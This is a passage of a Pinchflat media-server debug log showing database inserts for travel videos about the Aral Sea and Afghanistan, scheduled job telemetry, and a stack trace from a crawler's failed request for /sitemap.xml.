s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.984 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 17:27:24.985 [debug] QUERY OK source="media_items" db=0.6ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "933cfc72-b09e-472a-b201-0663d494470f", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 17:27:24.985 [debug] QUERY OK source="sources" db=0.2ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.985 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 17:27:24.987 [debug] QUERY OK source="media_items" db=1.0ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "e3eb0d80-72b2-4898-8b10-a1a65435cf36", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 16:11:38Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 17:27:24.987 [debug] QUERY OK source="sources" db=0.2ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.988 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 17:27:24.989 [debug] QUERY OK source="media_items" db=0.6ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "f6a06806-244b-4953-b2af-20823e5290af", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 17:27:24.989 [debug] QUERY OK source="sources" db=0.3ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.990 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-24 16:01:41Z], 3] 17:27:24.991 [debug] QUERY OK source="media_items" db=0.9ms idle=2.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "4c7af1f6-9e01-4d2d-ab8b-732bfa804e0b", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", 20, "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, false, false, 3, [], 98, ~U[2025-10-24 16:01:41Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, 3, ~U[2025-10-24 16:01:41Z]] 17:27:24.992 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], 3] 17:27:24.992 [debug] QUERY OK source="media_items" db=0.5ms idle=3.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:27:24.993 [debug] QUERY OK source="media_items" db=0.4ms idle=3.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:27:24.993 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 17:27:24.994 [debug] QUERY OK source="tasks" db=0.1ms idle=1.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17068, 3, ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z]] 17:27:24.995 [info] {"args":{"id":3},"id":17065,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":38499745,"event":"job:stop","queue_time":892747,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:27:46.909 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.063 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:28:16.911 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:46.913 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:48.422 [info] GET /sitemap.xml 17:28:48.423 [debug] QUERY OK source="settings" db=0.1ms idle=778.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:28:48.423 [debug] QUERY OK source="settings" db=0.1ms idle=139.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:28:48.423 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:28:48.423 [error] #PID<0.162527.0> running PinchflatWeb.Endpoint (connection #PID<0.162526.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43366}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162527.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1b83pF5WQtpD4ABu6E"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43366}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 43366}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162527.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revali (truncated) 17:29:00.064 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:29:16.915 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:46.917 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.065 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:30:16.919 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:46.921 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.066 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:31:16.923 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:46.925 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.067 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:32:16.927 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:46.929 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.068 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:33:16.931 [info] 